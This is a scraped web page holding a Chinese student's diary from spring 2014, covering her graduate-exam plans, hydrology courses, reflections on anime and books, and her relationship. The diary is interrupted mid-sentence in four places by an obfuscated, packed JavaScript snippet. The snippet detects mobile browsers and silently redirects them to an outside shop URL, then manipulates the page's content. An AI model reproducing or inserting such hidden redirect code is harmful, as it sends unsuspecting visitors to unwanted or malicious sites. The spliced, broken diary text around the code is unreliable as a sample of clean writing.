这几天听烂了的一句话“你得美啊！”是，这也很重要，钱砸在了我脸上，科颜氏全套确实让我不再脱皮。美，从内到外都美！看自己以前的日记我居然可以得到满足，天啊！我是有多自我？ 2014年3月15日 星期六 晴 在凌晨的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再换一个主题，说我想要的。从小开始，凡是我想要的，不论过多久最后一定会有，（我相信很多人都会，比如家境越来越好，通过自己努力什么的，不过并不是每个人都会因此感到幸福。）这就说点神奇的事吧！不过好像也就记得这么一件。小学五年级就近视了，不知道为什么，因为近视很害怕。每晚祈求可以不要近视，那时候明知是不可能的……谁知后来真的有了激光手术，我居然不近视了～当然，我承认乐观的人才会这样想，因为这和我的愿望无关，是科技发展的巧遇。不过，还是幸运有没有？凡是想要，都可以得到！我要美，通过努力就会美！我会考上研，努力就会考上！无外物可阻挡！ 《青铜时代》没有看太多，不过像是《白银时代》的风格，总是作为一个写故事的人出场，也就是他掌控全局，果真是有预见时代的能力，所以，故事的发展由他定夺。我们每一个都在写自己的故事，谁不是呢？ 昨天才知道，备胎是有能力和野心的人才当的了的，这需要对目标的精确定位，对自我能力的综合评定，对目标的坚定不移和足够的耐性，忍耐、沉淀，终达成目标！备胎，时刻准备着！ 2014年3月16日 星期日 晴 早上八点多起的，硬是坐在床上把人人的状态一条一条删去。 又看了一部分《青铜时代》，薛蒿依旧在他的各个故事里徘徊，有不同的途径，却是一样的结局。明明想到了一个新的点，没有及时记下来就忘记了…… 给自己定个规矩吧，以后再不准买那种因为大折扣却并不那么适合自己的东西！ 不想写了……还在考虑是否该换笔记本写日记了。 84.大三（下）（3） 2014年3月20日 星期四 晴 等了很久，现在终于坐下来写这篇日记。花了大概三个半天，结束了《进击的巨人》，在这之前看的是《纸牌屋》，再之前是《一九八四》，我笑了，为什么会喜欢这种东西？ 从《进击的巨人》开始吧！人们因为巨人的侵袭将自己围困在“壁”之中，想要探寻外面世界的人，本身就是对法规的触犯。士兵苦练杀巨人的本领，最优秀的士兵却分配去远离巨人的“内地”，也就是苦练杀死巨人的本领却是为了远离巨人。驻屯兵团的司令皮克斯司告诉艾伦曾有这样的事：“据说当年人类间的种族战争不断，有人提出，需要制造出人类共同的敌人才能让人类团结在一起。”巨人来袭，高层要求精锐部队要保护他们，在高层看来“贱民死多少都无所谓。”可是调查兵团为了人类的进击而去壁外与巨人搏斗时，贱民却说他们蠢，精英们战斗在第一线却是为了保护这样的人。这一切都是我解不开的疑惑。 艾伦是个只有一腔热血的废材，三笠虽拥有天赋却被对“艾伦的感情”支配百分之九十的行动，爱尔敏除了拥有智慧就是一坨屎。我喜欢让，他承认自己的懦弱，承认自己的享乐，却依旧愿意被感动，去体会，去变化。他没有停止过抱怨和怀疑，却依旧一步一步在矛盾中挣扎前进。埃文尔和兵长是级别不同的人，他们站在高处来处理一切，据说为了最后的胜利，必要时需要摒弃人性。我可以理解，也很佩服，只有这种理性和睿智可以突破困境，帮助人类进击。在必要的时候还不舍弃，只会失去的更多。 什么才是真？谁会关心人间疾苦？人间的人又是怎样的人？首先，你要活下去，然后要变强才会一直活下去。即使这样很慢，可我还是仍旧不断地汲取零散的知识，因为不这样，就不会更强。要不断地否定昨天的自己，不断地进步！怎样才会认识到自己的不足？今天的自己比昨天好。如果封死了墙壁就更没有人可以看到外面的世界，可对于统治者来说却更好地控制住了世界。可是我们生活在这里，注定要打破墙壁。如果是我，也会选择去调查兵团，即使死，也要死在广袤的大地。 理想和现实的联系比我们想像中紧密的多，现实要求你强大、隐忍、屈服，可这些恰又是实现理想的必备条件。原来，那些大牛也会动摇，也会在生死面前畏惧，也会委屈。我仍旧被感情支配，偶尔倾泄出自己的懦弱。不可以，不可以，我一定要克制好自己，不对无辜人发泄，隐忍不必要的冲突，给自己的内心护上盾，不花费时间在和我无关紧要的人和事身上，理智分析，不要害怕。然后要努力，从犯过的错里吸取教训。荣誉是给优秀的人的，而不是获得荣誉你就变优秀，现在荣誉这种东西不能证明什么。自己足够强大才是永恒的事实。我会一遍又一遍地告诉自己不要动摇，说实话是最容易的事，所以坦荡只是基本。是，你有勇气，背景也和别人不同，钱在什么时候都可以挣，现在是什么年龄就做什么事，既然可以，就做到极限，自己想做的，一直做下去。 2014年3月24日 星期一 晴 似乎每次的日记都是拖到不行才坐下来写，这不好的习惯……大山过来给我过生日几天，我又陪着他看了大部分《进击的巨人》，确实是一部好作品。在我们做选择之前是不可能知道结果的，所以既然做了选择就义无反顾走下去！我还是在回忆过去，一幕又一幕地重现，所以我只能不断地劝服自己，一遍又一遍，我会更好。 这两天又反省了一次，说了这么多年了，不够努力！我现在要做的是形成自己的专业思想体系，然后打好数学、英语基础。一直到现在我对专水仍是云里雾里，一提到地动内容就要疯，这绝对是量不够。没有知识量作基础，我的专业知识系统永远都形成不了。写不下去…… 2014年3月25日 星期二 晴 睡了整整一节物探课，很显然第一次没有坐第一排，没有经历“但愿每一次抬眼都是神奇的瞬间。”老师总喜欢画花每一张幻灯片，我也终于忍受不了他的课了！现在的状态就没资格谈我的什么狗屁理想抱负，生日那天还有祝福我“早日实现自己的理想，一切顺利。”结果…因为不听话，没有好好扎根，长成了一棵歪脖子树。虽然歪脖子也有春天，不过状况还真是多！对了，北方的春天来了，草绿了，花开了，困盹又一波来袭了……来！完全的专业系统升级开始！ 我也不想说自己身残志坚什么的，下午开始确实经历了很痛苦的一段时间。身体不舒服，可是空虚得不到补给，躺在床上煎熬了很久，居然打了鸡血般又坐在这里写日记。控制不住自己，在给父母打电话的时候仍旧说了身体不舒服，虽知道无用又给父母平添烦恼，可却在心理上得到了莫大的安慰。哭了，没有一点声音。我又对自己说一次：“我会更强大。” 知乎上都是大神，不过我却仍旧时常泄气，我确实需要持续不断地让自己接收这种信息，让自己知道不可以就此松懈，中国教育已全线崩溃，是！但名校差距依旧存在。我要做到不去评价他人，不用自己的价值观去判断。不能说我的想法就是更好的，不能因为我希望过这样的生活，就要求大家都像我一样去追求。平静下来，不要浪费自己短暂的生命在别人的眼光里。迷茫虚无都是借口，就是懒。 刚处理了一遍备忘录，把judge的话都删去了，把新的内容补充下来吧！小波的《青铜时代》的序言里写道：“翻译家才是真正会写作的人”，我觉得这句话写的很绝！有些东西现在还是理解的不够好，所以多年后再看王小波吧。 接下来把那天忽然想到的记下来：“所处环境让薛无力，可他又不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又一个晚上，下了无数次决心却没什么都没有做，动画片，除了书又是一个逃避的方法。我和男主一样，胆小、懦弱、卑鄙，不断地逃避，我到底在躲什么？明明是不努力，还说什么要是努力会怎样，这不是扯吗？我还坐在这里想什么？脑子怎么这么乱？都说了不想依赖任何人了，怎么还是这样？别人不开口绝不太过热心，不要太敏感。那天开玩笑要和大山重写教材，我自己要强，要自己发起让别人帮我做事！自己不强怎么可以？到夏天我要穿每一条裙子拍照，是我穿裙子的样子，又要强调一次吗？只有自己的能力才是真的，说完了一大堆废话，我 不仍旧是什么都没干？讽刺。做好自己的本职，知道自己做什么。 2014年3月28日 星期五 晴 往宿舍的路边不知道是不是种的樱花，全开了，风一吹，花瓣不住地往下飘，感觉美极了。好奇怪自己偏爱安静的地方，即使只是这样坐着写日记也很舒心。 今天在专水课上听来了一个神奇的论调，说是在中国永远不会怀才不遇，只有在美国、欧洲这种人才济济的地方才会被埋没。我总觉得这种说法不对，不过那也与我无关。 关于找工作困难这件事我从未过分担心，在我看来大牛是不必担心找不到工作的，我们要做的是苦练杀敌本领，而不是用这时间去担心找不到工作。工作是一定有的，只是你是否愿意做。几乎所有老师都建议女生找到好单位就不考研，更不建议跨专业考研，老师的看法是：“本身就来自二本院校，学的还是地下水，和华东水利学了四年地表水的学生相比去做地表水完全无优势。”我认同，但这却更坚了我考研的信心，首先，决不随大流是我的宗旨。再者，这不才能显示牛嘛（当然是指成功了以后，我承认自己很擅长YY各种美好场景……）话说了一堆，看两眼教材……地下水，老子爱你好么？！ 85.大三（下）（4） 2014年3月29日 星期六 晴 昨晚我提议让朝儿姐把欠我们的那顿饭请上，不懂是不是卑鄙了？明明昨晚打算自习的。后来又先走回宿舍看动画，不懂为什么，不想听他们倒垃圾。是太冷漠了？还是，我去！贾含真终于不八卦了一次！ 昨下午刷了很久很久知乎，大神们告诉我，刷知乎不如去看书！仍旧是形成自己思维系统的问题，我们做的都是零散的学习，只是相对来说，看书比刷知乎更集中。很感动的是那个“什么牌子的午餐肉好吃”的问题，为了回答，他真去吃了各种午餐肉。我更感动的是这种人的存在，因为我也是这样人。在“怎样把无趣变有趣”的问题上，陈章鱼的回答非常赞，用高射炮打蚊子，是，这就是效果。顿时想到我说想悠悠哉哉过日子，其实我能有十斤的能力去担五斤的担子不就会轻松愉快了吗？所以我又自恋地想到考清华，想到大山，这也是一种有意思的人生态度啊！ 高中的时光还真是不堪回首，自负、无知、肤浅、神经、口无遮拦地伤害了太多人，我在尽力弥补。可能人的一生都在弥补，我总是记不得自己说过什么，承诺除外。可总有人替我牢牢记着，很奇怪。不买不需要的东西，不去Judge别人，定下规矩之后做的还不错。说起来我真的是很挑剔的人，可认真想又是一个极度自我的人。或许我真正在意的是这一刻你让我不爽了吧！人总是要成长的，探索自己，改善自己，很有趣。 2014年3月30日 星期日 晴 自从看过《一九八四》和《黄金时代》，我认为自己接触的书上升了一个高度。今天看完了《新世纪福音战士》TV版和电影真结局《Air真心为你》，觉得动漫在我心中又上升了一个高度。果真在我心中，探寻自我才是最高大上的事啊！ 应该是从十八集开始，这部动漫像神作一般在我头脑中展开。这是第一部让我一边百度一边观看的动漫，每一个新的想法都是要反复推敲理解的。人类回归到最初的卵中，失去表达自己的一切外在（其实和我们有关的一切外在都是我们对自我的表达），是仅凭意识存在而融合在一起，那个我认为自己进入二次元世界的中午，不过是我一心一意地沉浸在自己的意识流当中。 人害怕孤独，不断地想要被承认，所以男女之间追求的灵与肉的结合无非是在期望自己完全地被另一个接受和承认。人真的是很脆弱的存在，因为心之壁的存在（心灵之间互不相通），所以一方面不敞开心扉害怕自己受伤，另一方面通过结合来寻找安慰。所以，一个愿意敞开心扉的人是幸福的，一个被爱的人是幸福的，每个人的关心对他人都可以起到至关重要的作用。想要拯救一个人也很容易，就是让他感受到你全心全意的爱。我说的是他人该怎么做，若我执意不接受，封闭自己的感觉，那再多的爱也无用。 在看这部动漫的时候除了自己的百度，浩子也为我提供了不少背景资料（大谢！）真嗣代表的迷茫（绝逼废材，忍不了啊！只会逃避！不过有时候我们还真像…）；明日香代表的自大（我以前也是，自负到不行，其实是内心的极度脆弱）；凌波丽代表的冷漠（我觉得是有些问题看得太透彻了，理智反而会显得冷血，好像有时妈会这样评价我）。这三个人物各自突出人在混乱环境面前的三个表现，而我又是一个综合了这三种表现的矛盾体。我问自己为什么这样，然后又一个一个解答。 我们仍旧要他人了解我，只是要求不同。有的人想要所有人的认同，所以活的很累。有的人想明白了，不在乎大多数人的看法，却仍旧在小圈子里求认同，这也是一种方式。我极度渴望有人彻底了解我，达到一种心灵的契合，或许这也是我的脆弱。以前有太多无知的想法，认为看动漫是低端幼稚的行为。然而和书一样，你可以选择去看探寻自我的那一部分，总是有所启发的，所以对于不了解的世界，要保持谦恭。忽然想到生日那天儿朝送我的小纸条：最难得，是诚意。后半句：“最难做，是克制。”自勉！ 2014年3月31日 星期一 霾 忽然有个想法要记下来（这真是少有的及时，哎！自我吐槽真是无极限）。好，专业流程吧！现在学《水文水利计算》和《专水》，那么要重新牢固的基础是《水力学》、《水文学原理》、《地下水动力学》和《水文地质学基础》，其中《地动》涉及大量公式，高数，那么要再学习《高数上、下》、作业中也开始涉及数据的软件处理，这是《计算机基础》。另外的《水文地球化学》也是专业基础，物探我就呵呵了。那么我要出国，建立的基础是英语，所以回归一切的起点仍是数学、英语。中午看雅思口语标准视频，吓到！现在听力弱爆！今天开始，一切娱乐尽力切换成英文……以上一大堆是我近期要做的任务，梳理一下而已，顺序……至于我产生的狂躁原因，水文水利计算上的部分内容没听进去，然后立刻爆发！ 在专水课上，一边想自己的狂躁处理一边逼自己认真听课。以前觉得自己脑子比一般人好用，没有花多大力气成绩就不错，现在居然开始承认自己智商不够，这是怎样一种转变？打好基础再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191421|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说这个问题。最近为自己找了几个不看课外书的借口，所以书也没怎么看。为什么明日香一出现我就那么讨厌她？因为她和我很像啊！不选择讨厌自己，而是和自己一样的人。明天又是新的月份，趁着想学的几天多学点什么吧！不逃避，不退缩！不坚定就不断地说让自己坚定（我一直都在这么干啊！叉勒！）！加油！ 2014年4月1日 星期二 晴 没有什么特别想写的，可就是想要坐下来写日记。今天是执行计划的第一天，可似乎做得不怎么好啊！说好的把娱乐全变成英文，结果……仍花费了时间在韩剧上，看韩国人演中国人还真心是受不了！不管日剧、韩剧、美剧、英剧，无一不黑我大□□啊！ 对了，浩子又动摇了，想考历史的研来着。我也没觉得太扯，不过对于他来说，想要做出改变的话可比我难多了。每个人明明都很动摇啊！坐我右边的人问我，都没有想过考不上研怎么办吗？他是看我太悠哉了吧！ 今天又看了一点《青铜时代》，还是只看了一小部分，并不太懂作者想表达什么。不过他说：“读者不想看了就可以把书搁置，可是作者还要写下去啊！”我是自己故事的作者啊！今天看了水资源评价，每每看到这种东西就会深深后悔，只是后悔全无用处，干脆说一句：“绝不后悔！”来得潇洒，付出多少只有自己知道。好了，现在付出，以后收获。 2014年4月2日 星期三 霾 连续好几个午觉的后半程都是在梦中挣扎，梦见自己的困盹，在床上折腾，可就是不愿起床。等真的醒过来发现那只是梦，又开始了无尽的思考。 我知道自己因不够强大、智慧而迷茫，而我现在多努力一点，那将来又少迷茫了几天，所以我选择开始努力。可努力的过程和方向又让我心生厌恶，所以现在的我是被数学虐到体无完肤的我，仍靠学习英语回血又重新投入战斗。说到考研，我真的没有什么优势可供自己聊以□□，对现在的无力会让人转嫁去想以前。过去是做了些什么让今天变成这样，要是今日辉煌是否只说一句“我过去曾努力”即可，可现在的奚落却非得一次又一次分析出个所以然。 在我记事开始的那些年份，以如今的角度去看，我的心态是很扭曲的（不知道这个词是否过了，但不好是肯定的）。一切的顺利让我膨胀，甚至有那么些不善良，自负、肤浅！小学、初中是自负，高中是自卑加自负。环境、教育，当我不再是个孩子……愿当初我犯下的错都可以弥补。我或许真不是什么好人，只是在自我救赎。 86.大三（下）（5） 2014年4月4日 星期五 晴 这真的是一种很神奇的状态，明明事件多到做不完，却有一种无所事事的感觉。生活太平淡我烦躁，可以非常充实了，也烦躁。这真的是一种神奇！近期发现了一种表层的睡眠，有意识，可以听见别人说话，却动弹不了，事后的记忆也很模糊。我随意找一本堆在面前的书看好了，真是…… 2014年4月8日 星期二 晴 不确定是否算晴天。第一节物探课我已经完全不知道上面在讲什么了……过了三天清明，状态又要调整一次了吧！这是第七周，对于我来说，从第十周开始一直到十四周，每周都有结课。教室里很零落的坐了几个人，不知道有几个真的听。我总是反反复复的不太想学习，真的再也做不回好生了吗？ 这两天吃了各种大餐：海底捞、寿司……花钱如流水。现在的脑子因为混乱而空白，昨天往家里寄了一大箱子的书和衣服。没有看课外书的日子，所以我又空虚了吗？知道的太多反而不好，因为这样会有太多的遐想而不是努力去做。头痛，最近唯一的安慰就是看哈利·波特了。不论怎样，加油！ 一次又一次的状态调整，我一直在探寻着什么？也不知道是否思想上的进步算是一种成功。从简单的开始，欲速则不达。人总是容易忘记这一点，本来做的挺好，时间一长又忘记了。不要在意别人，做好自己，从简单开始，从兴趣开始。 2014年4月11日 星期五 阴雨 中午又让“知乎”科普了，关于佛教的“显宗”和“密宗”，大开眼界。虽女人也是“双修佛”的一部分，可我仍旧认为被当作工具用了。当然，“以毒攻毒”的方法的确牛！ 最近总在抱怨身边的人不听劝，其实最过分的是我自己。上大学前有过告诫，结果我不听，还是做了三年蠢事。上高中前有人劝，我不听，结果就是现在的自己有多不爽。问了人又不听劝，我是罪过地浪费了他人的一片苦心。 2014年4月13日 星期日 晴 最近接收到越来越多的消息，年龄不大的各路美丽学神的励志故事。要不然就是各路白富美的世界各国照。这世界总有人可以告诉你人可以这样生活。很显然我为一部分人做了展示，也有人为我展示，很多话没有及时记下就忘了，去学习…… 2014年4月14日 星期一 晴 在来自室的路上看到了今天的月亮，又大又亮，在巨大的灰幕下泛着清凉的光，不知道回去的时候是否有置的变动。 校运会的四天假让我查烂了火车票，决定又放弃，决定又放弃……不知道我什么时候变成了这个样子？我仍处在不断反省进步的过程。 上午的水文水利计算课，被嘲笑了。因为我几乎回答上了老师的每一个问题。赫敏也因为在课上回答了老师的各种问题被嘲笑不是吗？一个问题笑一次。之前给自己定下了一个规矩，不花钱乱买打折的不需要的东西。后来定的规矩是不去评论别人，显然仍旧做得不好。现在增一条，学会忍耐和宽容。在不能改变环境的前提下自己去适应，不要在意别人的行为说法，好！坚持就是胜利！ 不要动摇了！有多少天没有读高数了……读英语！ 2014年4月16日 星期三 多云 含一片酸酸甜甜的柠檬干，来自我反省一下。按手机备忘从近期到以后。忽然想明白了一件事，之前一直在烦恼书那么多，可我之前还看的那么少，就更看不了几本书了。可人一生本来可以知道的事相较于世间万物就很少，何必去纠结这些？反倒是应该把自己已经接触过的知识好好组织起来为自己所用。所以，把看过的好书都多看几遍吧！ 关于“蒸发和稳渗”的知识扩充我搁置很久了……那翻开的《水文学原理》还摊在自习室的桌上……（等等先把土力学的含水率搞定吧！） 接下来是非常严肃的问题了。我的时间都拿去胡思乱想了，这样只会和以前同学的差距越来越大。我一想到二师兄考了GRE要和女友一同出国，脑海里闪现的是各种高大上的资源共享！ 我，不可以再在这种地方挣扎！所谓的胡思乱想真可怕，我会担心自己那样乱猜乱想会被大山讨厌，可又克制不住去那样想。我是什么时候开始的，这么喜欢把自己变成悲情女主？蠢死了！我这样瞎担心有个屁用。大山说他发现我在专业上越来越牛，可我只是一只羊，还没有牛那么大，所以！我要加油！早日实现牛逼的境界！那时候才不管什么“胡思乱想”，忙都忙死了吧！最近我太闲了？ 又有了一个浪漫的想法。要找到一种糖果，她的味道和我一样，让人幸福惊喜。用一种具体可感的味道来标记我们幸福的一部分。买的那一箱零食到了，满满的幸福感～对了，现在已不敢看睿睿上传的视频，自觉烂爆了！口音，该死的台湾腔！语穷，就不能说好吃到天花乱坠，惊天地泣鬼神吗？！语文白学了，我一定要重拍血耻！读书去！ 2014年4月17日 星期四 多云 又是一个17日，大山和我在一起两年十个月。我们已经很久没有去刻意记“17日”这天，或许我们是太习惯彼此的每一天。几分钟前在“知乎”看到一个问题？“男人想让女人明白什么？”顿时发现自己做的太不好，若让大山从我身边走掉，那定是我自己错失了真爱。这几天也有和大山做一些认为有意思的事，不懂他怎么想，反正也都整理记录下来，当作一起走过的凭鉴了。 这次又是我挑起的事端，让我们都陷入痛苦，这个缺点一定改。事后我突发奇想让双方写下需要感谢对方的地方，结果又变成了我一个人写完了双方角色的话。还真是，都是我的想法……忽然有点失望，我在同时扮演自己和自己男友的角色，而不是让他自己来。 我认为大山要感谢我的几点：一、我让他在比较不错的年龄早恋了，这是个不错的体验；二、我是他接触的新一类人，让他看到了不一样的生活世界（这里包括旅游、阅读、消费观等琐碎的事）；三、我和他分享知识和想法，不算是帮，是互帮；四、我有经常给他看到鼓励和信心，让他看到自己的优缺点（这个可能他自己本来就知道），不过和我接触多少让他自信。 接下来是我要感谢他的：一、我表白以后接受我，让我有机会和一个品质优秀的男人恋爱；二、让我见识到了人的涵养，不怒不愠（尤其感谢对我的包容），也就是为人大度谦和，对比让我知道自己的不足；三、愿意听我说话，还不忘指出事件的缺陷，在他理性思维的引导下我也开始理性，这是他对我好的影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204164|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ；四、经常的举动让我惊喜幸福，由于他本质优秀时常成为我炫耀资本，极大地满足了我的虚荣心。 我顿时有一种我是和自己恋爱的感觉，很多时候我都在自己的臆想中。似乎我生命中所有的惊喜和浪漫都是我为满足自己做的，又把自己当悲情女主了……一向知道和我处不容易，知道大山的辛苦。有时，不，很多时候我会觉得终有一天他会达到忍让的极限离开我。然后我就矛盾地一边继续伤害一边担心他离去，这种矛盾我甚至表达不好……我用手机对着“知乎”上的一条一条，来看我都做了些什么。 “男人想让女人明白什么？” 一、把自己的感情强加给别人真的很差劲。（这点我绝对中了，每次低落都要全世界陪我，自己的心碎了还要撕烂大山的心，我是多残忍？克制，这是我要做的，能伤害的都是爱我的人）； 二、不要总是问我爱不爱你或者为什么，有些问题只一遍就好，而且不要期待我能给你一个满意的回答。（这个问题上我蠢毙了……一次又一次……我是多不自信？我还是在试探他的极限和我的无限。停止，这个的话，我要更强大才好，其实我仍旧不太理解为什么我爱问别人是不是爱我，也许是太渴望。看了大山对这个问题的回复，他希望我做的，和我自知自己做的不好的是很一致的，他喜欢的几条回复我也记下来：“1你嗔怒到你竟然不是我生活的全部。但我心里时时刻刻都很明白，你是我生命的全部；2亲爱的，不要责难彼此。在一起不容易；3我最爱你，只爱你。你却质疑那么多次我；4爱自己，是终身浪漫的开始。我希望在我们之间，你永远把自己放在第一位。”） “男人想让女人明白什么？” 三、我不需要你帮助的时候，讨厌别人告诉我该做什么。这会让你感觉你像我妈。这点我…… 四、我通常都不知道自己感觉如何，因此我不可能告诉你我的感觉。这点我……同上； 五、我真的不想听到关于你前男友的事，无论关于什么； 六、我生气的时候需要时间让自己冷静下来，因此我不会说让自己后悔的话。 以上的这几点我表示对自己无语，我到底做的有多不好应该只有大山知道。 在刚看大山给我发的那几条的时候很有哭的冲动，我也说不来自己怎么想，很复杂，我让他独自承受了太多无端的委屈，是我忽略和错过了他的感受，原因一直在我身上。我已经太自以为是了，所以，我会努力为他改变的。现在我也说不出什么，像是一种淡淡的忧伤环绕着我。 2014年4月19日 星期六 阴 这几天犯了一个严重的错误，虽然这个错误犯了很长一段时间，但这几天病入膏肓……我爱大山，却除了他几乎不去做任何事，一味去想他。是的，和他在一起很快乐，但这不可能是我生命中唯一的快乐。我努力奋斗了那么多年，不是为了天天和一个男人在一起快乐。当然这也是努力的一都分原因，但不能因为我提前（比其他人）找到了这个男人，就放弃了其他快乐的权利。而且如果他变成了我生命唯一的信息主体，那我的一切魅力也将消失。深爱，但依然保留自己这个个体，这是我要做的。显然，大山似乎做的比我好。 去拿起课本，创造自己的美丽世界。 87.大三（下）（6） 2014年4月21日 星期一 多云 今天就记几件琐碎的事。昨晚在水房洗漱，小郭往里走，说：“小贾，你这是独霸水房啊！”我先是一愣，大笑！小郭确实为宿舍增添不少欢乐。 今天下午刷完考研核心词汇299，原来刷完一遍以后是没有了“记得”和“忘记”的选项键，不能重刷。我把应用重置了，再刷！ 最近发现自己有时候还是表现太多，沉不住气。虽不应像《壁花少年》伊始那样全不参与，但那个度确实是过了。一旦做的不好，我就想把过去抹掉。不行，不管好与不好，都是曾经的我，因为曾经的那个我才有了现在的我。 只要是看别人的作品就想从中找自己，看《璧花少年》我的感慨竟是自己高中未何没能遇见好老师和好朋友？或许这句话是在自我逃避，怎么不说自己软弱，却说他人做的不够？我有我的幸运、幸福，牢记这一点，然后奋勇向前。 2014年4月27日 星期日 晴 折腾了好久总算是回来了～这几天也算是挺开心的。周四凌晨十二点半的车，早上十点多到就被大山接了。除了住的地方望出去是古城墙让我有惊喜，剩下的等待时间全被我花在各种剧上了……吃了好多餐KFC之后，终于迎来了周五下午的放松之旅。 从汉中门步行出发走去中央站！很喜欢路两旁高大的梧桐，遮住了下雨的天～满眼的绿色，扑面而来的水汽，石头城果真是养人的～无意间路过的五台山体育馆，转角看见的“**书店”！不愧是全球十大最美书店，照片什么的都弱爆了！果真是亲临现场的感觉好～看书可是一生的事业啊！ 去到蚌埠的话主要就是吃了。昨天中午的小龙虾、蟮片！很久没有吃到这么赞的饭了！雪圆小吃的话由于真的吃不下只要了小份的，馅是随机的，两个巨大却不是太喜欢，剩下的汤倒是不错～还有别的小吃也实在吃不下……蚌埠很小，地图上显示很近，就真的马上走到！大山和我二点半就走到的时候，真心是哭笑不得。 很可惜没去吃石头城的锅贴，也因为我懒得动没去华东水利。**汤包的态度很石头城……总的来说还是开心～今天看说是：“因为大多人喜欢假正经，所以我假装不正假。”有点这么个意思。 一时脑子混乱不知从何开始，记一下，决定实习结束再开始考研复习，现在读读英语，学好专业，起码心理上轻松。 2014年4月28日 星期一 晴 没有太多做事的心情，其实做下去了也就做了。备忘里写的是“钱，英语”，可是不记得英语是什么内容了。之前用21天刷了1500个单词，平均一天71个多，今天开始顺序刷6231个考研词汇，轻松多了。关于钱，有钱真的很好。有了钱以后你可以不需要其他很多能力，比如自理能力？哈！不知道这次自己倦怠的理由又是什么。 二师兄说出国为了体验不同的生活，这不是我天天吵吵嚷嚷的吗？专业，我越来越不想转到其他的专业，地下水真心挺好。在你连自己都搞不懂自己情况的时候就不要指望别人了，看他人都那么好，那你也一样。 2014年4月29日 星期二 多云 和舍友一起看手相玩得不亦乐乎。只是想记下一句话，每天读书越多，心情就越好。既然我本身就有这种觉悟，那就努力好好学习吧！ 下午的外国名著选读还算是喜欢，最喜欢的是关于浪漫主义和现实主义的论调。浪漫主义认为生活应该是这样的，现实主义认为生活本就是这样的。我的阅读范围集中在十九世纪的欧美文学，对于之前的和之后的作品简直是无知了。《荷驶史词》、《神曲》、《十日淡》、《忏悔录》……我都没有看过，阅读对于我的意义应该永远不会改变。 2014年4月30日 星期三 晴 半睡半醒之间的几个念头到把自己感动到泛泪花（本想写“感动到cry”，后来想明明自己可以用中文很好的表达，这种时候禁止“中英混合”！），这是我一生的事业。 之前总是不太知道自己到底想干嘛，只是说去环游世界，去吃去玩，不工作，不考研，那到底又是什么？忽然想通，我最喜欢做的是把自己的突发奇想做起来，然后和大家分享。寒假临时起意拍介绍老家短片时的兴奋，随意选一天开拍和过程的快乐，睿睿帮忙做出短片后给大家展示的紧张、激动，在优酷看到点击量和别人好评时的得意，这是由我的一个想法引发的一系列事件带来的魔力～昨晚也是。我坐在宿舍，瞬时的安静让我捕捉到玻璃杯里CO2在碳酸饮料里爆炸的声音，像水流一般自然亲切。我用手机录了下来，觉得生活美好到不行，然后急忙和舍友分享这种快乐～这需要两点，我的一个想法或是发现，然后我表达出来，二是和人分享。简单粗暴地理解，我的奇想让我自己兴奋，因为它突然、惊喜，让我自觉灵感喷涌与众不同。与人分享这很关键，是求认同，在自己肯定自己的基础上再让他人对我肯定一番，然后得出“我如此与众不同”的论调。基于以上一切的事实，就是我无比自恋的铁证～ 为什么我如此渴望独树一帜，我仍旧理解为我的自我，因为这样才更能突显“我”。关于我想了说了无数次要自我分裂出一个“贾含真”和自己恋爱的论调，无非又是一个佐证。我总在那么一瞬间迸发无限的遐想，让我很骄傲，然后呢再把这些想法和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214201|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人炫耀炫耀，哦不！分享一下～我就快乐！把这当成一生的事业我看不错。所以去环游世界是我看来可以轻松激发创意的行为。这样我又成功劝服了自己一次，其实不论做什么都可以激发灵感，重点不是做什么，而是做了什么。所以我需要一份可以“做”的主业，以维系我终生的“事业”，只有这样才会有点子的喷涌！呐，我还是很热爱自己专业的～ 以上的想法应该是和“猫力瘦肉”的碰撞，猫力说她从大学才开始有四处闯荡的想法，这说明我比她开化得早，我父母也比她父母开化得早，这点还让我有点小得意呢～关于瘦肉导师的人生两件事：一、做自己喜欢的事；二、爱自己爱的人。那我想和自己爱的人一起做喜欢的事，这样是不是很美满？！ 自我，彻头彻尾的纯自我，坚信自己的每一个点子都很棒，愿意相信做出来的东西会让很多人幸福（幸福这个词过头？……那就快乐？开心？笑一笑～）这是在体现我的影响力？我倒真没想过出名，这个在我看来是没有什么意思，只是忽略这可能会是附带的东西……这先不管，我能想通，反正自己很高兴～ 